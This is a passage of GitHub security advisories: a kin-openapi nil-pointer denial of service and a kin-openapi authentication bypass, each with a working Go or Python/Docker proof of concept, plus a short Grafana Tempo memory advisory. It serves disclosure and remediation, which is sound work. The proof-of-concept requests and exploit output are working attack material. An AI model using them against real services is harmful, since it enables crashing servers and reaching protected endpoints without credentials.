mt := content.Get("application/json")
if mt == nil { // media-type OBJECT is guarded ...
err = fmt.Errorf("parameter %q has no content schema", param.Name)
return
}
outSchema = mt.Schema.Value // ... but mt.Schema is NOT — panics when nil
The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.
Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:
openapi3/parameter.go—Parameter.Validateonly enforces exactly one ofschemaXORcontent; a parameter withcontent(and noschema) satisfies it.openapi3/media_type.go—MediaType.Validatevalidates the schema only when it is non-nil, so an absent schema is not a validation error.
Call path to the panic:
ValidateRequest openapi3filter/validate_request.go:83
└─ ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil)
└─ decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value ⇒ found)
└─ defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 ← nil deref / panic
Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.
PoC
Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.
1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
/c:
get:
parameters:
- name: cfg
in: query
content:
application/json: {} # media type object with NO schema
responses:
"200": {description: ok}
2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:
package main
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
/c:
get:
parameters:
- name: cfg
in: query
content:
application/json: {} # media type object with NO schema
responses:
"200": {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
panic(err)
}
// Reachability: the malformed-but-legal document must validate.
if err := doc.Validate(context.Background()); err != nil {
panic("doc.Validate rejected the spec, not reachable: " + err.Error())
}
router, err := gorillamux.NewRouter(doc)
if err != nil {
panic(err)
}
// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
// Panics here on the crafted request (req_resp_decoder.go:197).
if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r,
PathParams: pathParams,
Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
}); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
})
srv := httptest.NewServer(h)
defer srv.Close()
// The single, unauthenticated attack request.
resp, err := http.Get(srv.URL + "/c?cfg=1")
if err != nil {
// Expected: the server goroutine panicked, so the client sees EOF.
fmt.Printf("client received an aborted response (expected): %v\n", err)
return
}
defer resp.Body.Close()
fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}
3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:
http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
openapi3filter/validate_request.go:83
Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.
Impact
This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.
The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:
| Wiring | Recovered by net/http? |
Result |
|---|---|---|
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler) |
Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth. |
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check) |
No | Whole process crashes on a single unauthenticated request unless the app added its own recover(). |
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) |
No | Whole process crashes. |
This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.
Remediation (suggested)
Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:
mt := content.Get("application/json")
if mt == nil {
err = fmt.Errorf("parameter %q has no content schema", param.Name)
return
}
if mt.Schema == nil {
err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
return
}
outSchema = mt.Schema.Value
The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.
Workarounds for consumers, pending a patch:
- Ensure every
contentparameter in served specs declares aschema, or reject such specs at load time. - Supply a custom
ParamDecoderthat guardsmt.Schema == nil. - Run request validation inside a handler with an explicit
recover()— especially if validation runs off the request goroutine or on a non-net/httphost.
Notes for the maintainer
This root cause (mt.Schema == nil) is independent of the Items == nil panics addressed in 30e2923 and of GHSA-mmfr-pmjx-hw9w; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.143.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.144.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:39:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "| Field | Value |\n|---|---|\n| Ecosystem | Go |\n| Package | `github.com/getkin/kin-openapi` |\n| Affected versions | `\u003c= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) |\n| Patched versions | 0.144.0 |\n---\n\n### Summary\n\n`openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification \u2014 kin-openapi\u0027s own `doc.Validate()` accepts it \u2014 and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.\n\n### Details\n\nThe decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check.\n\n`openapi3filter/req_resp_decoder.go`, around line 197:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil { // media-type OBJECT is guarded ...\n err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n return\n}\noutSchema = mt.Schema.Value // ... but mt.Schema is NOT \u2014 panics when nil\n```\n\nThe function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`.\n\n**Why a schema-less content parameter is legal** (so the sink is reachable \u2014 `doc.Validate()` returns no error), in both 3.0.x and 3.1.x:\n\n- `openapi3/parameter.go` \u2014 `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it.\n- `openapi3/media_type.go` \u2014 `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error.\n\n**Call path to the panic:**\n\n```\nValidateRequest openapi3filter/validate_request.go:83\n \u2514\u2500 ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil)\n \u2514\u2500 decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value \u21d2 found)\n \u2514\u2500 defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 \u2190 nil deref / panic\n```\n\n**Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding.\n\n### PoC\n\nReproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`.\n\n**1. Minimal OpenAPI 3.0.3 document** (legal \u2014 `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**:\n\n```yaml\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /c:\n get:\n parameters:\n - name: cfg\n in: query\n content:\n application/json: {} # media type object with NO schema\n responses:\n \"200\": {description: ok}\n```\n\n**2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /c:\n get:\n parameters:\n - name: cfg\n in: query\n content:\n application/json: {} # media type object with NO schema\n responses:\n \"200\": {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Reachability: the malformed-but-legal document must validate.\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tpanic(\"doc.Validate rejected the spec, not reachable: \" + err.Error())\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Handler mirrors openapi3filter.ValidationHandler: find route, validate.\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\t// Panics here on the crafted request (req_resp_decoder.go:197).\n\t\tif err := openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t}); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(h)\n\tdefer srv.Close()\n\n\t// The single, unauthenticated attack request.\n\tresp, err := http.Get(srv.URL + \"/c?cfg=1\")\n\tif err != nil {\n\t\t// Expected: the server goroutine panicked, so the client sees EOF.\n\t\tfmt.Printf(\"client received an aborted response (expected): %v\\n\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tfmt.Printf(\"UNEXPECTED: got HTTP %d without a panic\\n\", resp.StatusCode)\n}\n```\n\n**3. Observed result** \u2014 the request goroutine panics inside validation, and the client\u0027s `http.Get` returns an EOF:\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)\n\topenapi3filter/req_resp_decoder.go:197\ngithub.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)\n\topenapi3filter/req_resp_decoder.go:166\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)\n\topenapi3filter/validate_request.go:177\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\topenapi3filter/validate_request.go:83\n```\n\nSwapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause.\n\n### Impact\n\nThis is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`.\n\nThe precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it:\n\n| Wiring | Recovered by `net/http`? | Result |\n|---|---|---|\n| Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. |\n| `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. |\n| Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** |\n\nThis is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process.\n\n---\n\n## Remediation (suggested)\n\nAdd a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {\n err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n return\n}\nif mt.Schema == nil {\n err = fmt.Errorf(\"parameter %q content media type has no schema\", param.Name)\n return\n}\noutSchema = mt.Schema.Value\n```\n\nThe `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent.\n\n**Workarounds for consumers, pending a patch:**\n\n- Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time.\n- Supply a custom `ParamDecoder` that guards `mt.Schema == nil`.\n- Run request validation inside a handler with an explicit `recover()` \u2014 especially if validation runs off the request goroutine or on a non-`net/http` host.\n\n## Notes for the maintainer\n\nThis root cause (`mt.Schema == nil`) is independent of the `Items == nil` panics addressed in `30e2923` and of `GHSA-mmfr-pmjx-hw9w`; no prior fix touched this code path. It affects OpenAPI 3.0.x as well as 3.1.x.",
"id": "GHSA-jpcw-4wr7-c3vq",
"modified": "2026-07-24T22:39:39Z",
"published": "2026-07-24T22:39:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema"
}
GHSA-P4R4-XVRQ-GVMC
Vulnerability from github – Published: 2026-04-24 09:30 – Updated: 2026-05-05 00:24Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy.
Mitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/tempo"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "2.8.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/tempo"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/tempo"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21728"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:24:31Z",
"nvd_published_at": "2026-04-24T09:16:03Z",
"severity": "HIGH"
},
"details": "Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy.\n\nMitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18).",
"id": "GHSA-p4r4-xvrq-gvmc",
"modified": "2026-05-05T00:24:31Z",
"published": "2026-04-24T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21728"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/pull/6525"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/commit/650eb1985a0776789c8564122990f588a742356f"
},
{
"type": "PACKAGE",
"url": "https://github.com/grafana/tempo"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/docs/sources/tempo/release-notes/version-2/v2-10.md?plain=1#L328"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/docs/sources/tempo/release-notes/version-2/v2-8.md?plain=1#L251"
},
{
"type": "WEB",
"url": "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/docs/sources/tempo/release-notes/version-2/v2-9.md?plain=1#L224"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2026-21728"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Grafana Tempo has an Uncontrolled Resource Consumption issue"
}
GHSA-R277-6W6Q-XMQW
Vulnerability from github – Published: 2026-07-24 16:52 – Updated: 2026-07-24 16:52Summary
ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.
Details
ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:
// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
h.AuthenticationFunc = NoopAuthenticationFunc
}
NoopAuthenticationFunc is defined as:
// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }
It always returns nil, meaning every security scheme check it handles is automatically approved.
When a request arrives, ServeHTTP → before → validateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:
// openapi3filter/validation_handler.go:91-103
options := &Options{
AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
Request: r,
PathParams: pathParams,
Route: route,
Options: options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
return err
}
Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:
// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
return ErrAuthenticationServiceMissing // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
return err
}
Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).
The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.
Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).
PoC
Environment
Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)
Step 1 — Build the Docker image
From the repository root (parent of vuln-001/):
docker build \
-t vuln001-auth-bypass-poc \
-f vuln-001/Dockerfile \
reports/github_web_233_getkin__kin-openapi
The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.
Step 2 — Run the container
docker run --rm --network none vuln001-auth-bypass-poc
Step 3 (alternative) — Use the Python helper
python3 vuln-001/poc.py --no-cleanup
What the PoC does
main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:
paths:
/secret:
get:
security:
- apiKey: []
components:
securitySchemes:
apiKey:
type: apiKey
name: X-Api-Key
in: header
It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:
GET /secret HTTP/1.1
Host: example.test
# X-Api-Key header is intentionally absent
Expected (vulnerable) output
=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
-> Fail-CLOSED behavior confirmed: missing auth function is rejected
=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
ValidationHandler.AuthenticationFunc: NOT SET (nil)
Load() will inject NoopAuthenticationFunc, which always returns nil
Request: GET /secret (X-Api-Key header: absent)
Response: status=200 body="SECRET_DATA\n"
[EXPLOIT SUCCESS] Auth bypass confirmed!
Protected resource /secret returned SECRET_DATA without credentials.
ValidationHandler.Load() silently injected NoopAuthenticationFunc.
Security requirement was bypassed. VULN-001 REPRODUCED.
The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.
Remediation patch
--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
if h.Handler == nil {
h.Handler = http.DefaultServeMux
}
- if h.AuthenticationFunc == nil {
- h.AuthenticationFunc = NoopAuthenticationFunc
- }
if h.ErrorEncoder == nil {
h.ErrorEncoder = DefaultErrorEncoder
}
After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.
Impact
This is an authentication bypass vulnerability (CWE-287). Any application that:
- uses
openapi3filter.ValidationHandleras its HTTP middleware, and - declares one or more
securityrequirements in its OpenAPI specification, and - does not explicitly set
AuthenticationFunc,
is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.
Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.
The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.
Reproduction artifacts
Dockerfile
FROM golang:1.25-alpine
# Install git (needed by go mod for some packages)
RUN apk add --no-cache git
WORKDIR /workspace
# Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/
# Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc
# Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc
go 1.25
require github.com/getkin/kin-openapi v0.143.0
replace github.com/getkin/kin-openapi => /kin-openapi
EOF
# Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go
# Resolve dependencies and build
RUN go mod tidy && \
go build -o /poc-binary .
# Run the PoC
CMD ["/poc-binary"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)
Vulnerability Summary:
ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
passes without validation when the user forgets to set AuthenticationFunc.
Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
(fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).
Usage:
python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""
import argparse
import os
import subprocess
import sys
import json
IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")
SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'
def run(cmd, **kwargs):
"""Run a shell command and return (returncode, stdout, stderr)."""
print(f"[CMD] {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
if result.stdout:
print(result.stdout, end="")
if result.stderr:
print(result.stderr, end="", file=sys.stderr)
return result.returncode, result.stdout, result.stderr
def build_image(build_dir):
"""Build the Docker image containing the PoC binary."""
print("\n[*] Building Docker image ...")
rc, stdout, stderr = run([
"docker", "build",
"--build-arg", f"REPO_DIR={REPO_DIR}",
"-t", IMAGE_NAME,
"-f", os.path.join(build_dir, "Dockerfile"),
# Build context is the reports root so both Dockerfile and repo/ are reachable
os.path.dirname(build_dir),
])
if rc != 0:
print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
sys.exit(rc)
print("[*] Docker build succeeded.")
return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"
def run_container():
"""Run the container and capture output."""
print("\n[*] Running PoC container ...")
rc, stdout, stderr = run([
"docker", "run", "--rm",
"--network", "none", # no network access needed
IMAGE_NAME,
])
combined = stdout + stderr
return rc, combined
def evaluate(exit_code, output):
"""Determine whether the exploit was confirmed."""
passed = (
exit_code == 0
and SUCCESS_MARKER in output
and EXPECTED_STATUS in output
and EXPECTED_BODY in output
)
return passed
def cleanup_image():
"""Remove the Docker image."""
print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
run(["docker", "rmi", "-f", IMAGE_NAME])
def main():
global IMAGE_NAME
parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
parser.add_argument("--build-dir", default=SCRIPT_DIR,
help="Directory containing Dockerfile and main.go")
parser.add_argument("--image", default=IMAGE_NAME,
help="Docker image name to build/run")
parser.add_argument("--no-cleanup", action="store_true",
help="Keep the Docker image after the run")
args = parser.parse_args()
IMAGE_NAME = args.image
print("=" * 60)
print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
print("=" * 60)
print(f" Build dir : {args.build_dir}")
print(f" Repo dir : {REPO_DIR}")
print(f" Image : {IMAGE_NAME}")
build_cmd = build_image(args.build_dir)
run_cmd = f"docker run --rm --network none {IMAGE_NAME}"
exit_code, output = run_container()
if not args.no_cleanup:
cleanup_image()
passed = evaluate(exit_code, output)
print("\n" + "=" * 60)
if passed:
print("[RESULT] PASS — Auth bypass CONFIRMED")
print(" The protected handler returned SECRET_DATA without credentials.")
print(" ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
else:
print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")
print(f"\nContainer exit code : {exit_code}")
print(f"Success marker found: {SUCCESS_MARKER in output}")
print(f"Status 200 found : {EXPECTED_STATUS in output}")
print(f"Secret body found : {EXPECTED_BODY in output}")
# Exit with code that signals pass/fail
sys.exit(0 if passed else 1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.143.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.144.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:52:05Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
